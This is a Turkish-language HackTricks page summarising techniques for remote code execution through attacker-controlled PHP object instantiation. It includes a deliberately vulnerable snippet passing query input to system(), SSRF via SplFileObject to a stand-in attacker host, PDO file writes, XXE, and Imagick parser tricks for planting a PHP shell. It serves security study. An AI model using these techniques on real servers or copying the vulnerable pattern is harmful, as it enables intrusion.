PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

HackTricks'i Destekleyin

Bu, https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ adresinin temel bir özetidir.

Giriş

new $_GET["a"]($_GET["a"]) gibi yeni keyfi nesnelerin oluşturulması, yazıda detaylandırıldığı gibi Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu belge, RCE elde etmenin çeşitli stratejilerini vurgulamaktadır.

Özel Sınıflar veya Otomatik Yükleme ile RCE

new $a($b) sözdizimi, $a sınıf adını ve $b yapıcıya geçirilen ilk argümanı temsil eden bir nesne oluşturmak için kullanılır. Bu değişkenler, GET/POST gibi kullanıcı girdilerinden, string veya dizi olarak veya JSON'dan, diğer türler olarak elde edilebilir.

Aşağıdaki kod parçasını düşünün:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Bu durumda, $a'yı App veya App2 olarak ve $b'yi bir sistem komutu (örneğin, uname -a) olarak ayarlamak, o komutun çalıştırılmasına neden olur.

Otomatik yükleme fonksiyonları, doğrudan erişilebilen böyle sınıflar yoksa istismar edilebilir. Bu fonksiyonlar, ihtiyaç duyulduğunda dosyalardan sınıfları otomatik olarak yükler ve spl_autoload_register veya __autoload kullanılarak tanımlanır:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Autoloading'in davranışı PHP sürümlerine göre değişiklik gösterir ve farklı RCE olasılıkları sunar.

Yerleşik Sınıflar ile RCE

Özel sınıflar veya autoloader'lar eksik olduğunda, yerleşik PHP sınıfları RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve uzantılara bağlı olarak 100 ile 200 arasında değişir. get_declared_classes() kullanılarak listelenebilirler.

İlgili yapıcılar, aşağıdaki örnekte ve https://3v4l.org/2JEGF bağlantısında gösterildiği gibi, yansıma API'si aracılığıyla tanımlanabilir.

Belirli yöntemler aracılığıyla RCE şunları içerir:

SSRF + Phar Deserialization

SplFileObject sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantılara izin verir:

new SplFileObject('http://attacker.com/');

SSRF, Phar protokolünü kullanan PHP'nin 8.0'dan önceki sürümlerinde deserialization saldırılarına yol açabilir.

PDO'ları Sömürmek

PDO sınıfı yapıcı fonksiyonu, DSN dizeleri aracılığıyla veritabanlarına bağlantılara izin verir, bu da dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP'nin 5.3.22 ve 5.4.12 sürümleri, libxml2 sürümüne bağlı olarak SoapClient ve SimpleXMLElement yapıcıları aracılığıyla XXE saldırılarına karşı savunmasızdı.

RCE via Imagick Extension

Projenin bağımlılıkları analizi sırasında, Imagick'in yeni nesne örnekleri oluşturarak komut yürütme için kullanılabileceği keşfedildi. Bu, güvenlik açıklarından yararlanma fırsatı sunar.

VID parser

Dosya sisteminde belirtilen herhangi bir yola içerik yazma yeteneğine sahip VID parser'ın varlığı tespit edildi. Bu, web erişilebilir bir dizine bir PHP shell yerleştirilmesine yol açabilir ve Uzak Kod Yürütme (RCE) sağlanabilir.

VID Parser + Dosya Yükleme

PHP'nin yüklenen dosyaları geçici olarak /tmp/phpXXXXXX dizininde sakladığı belirtilmiştir. Imagick'teki VID parser, msl protokolünü kullanarak dosya yollarında joker karakterleri işleyebilir ve geçici dosyayı seçilen bir konuma taşıyabilir. Bu yöntem, dosya sisteminde keyfi dosya yazma elde etmek için ek bir yaklaşım sunar.

PHP Çökmesi + Kaba Kuvvet

orijinal yazımda tanımlanan bir yöntem, silinmeden önce bir sunucu çökmesine neden olan dosyaların yüklenmesini içerir. Geçici dosyanın adını kaba kuvvetle tahmin ederek, Imagick'in keyfi PHP kodu yürütmesi mümkün hale gelir. Ancak, bu tekniğin yalnızca eski bir ImageMagick sürümünde etkili olduğu bulunmuştur.

References

Support HackTricks

Last updated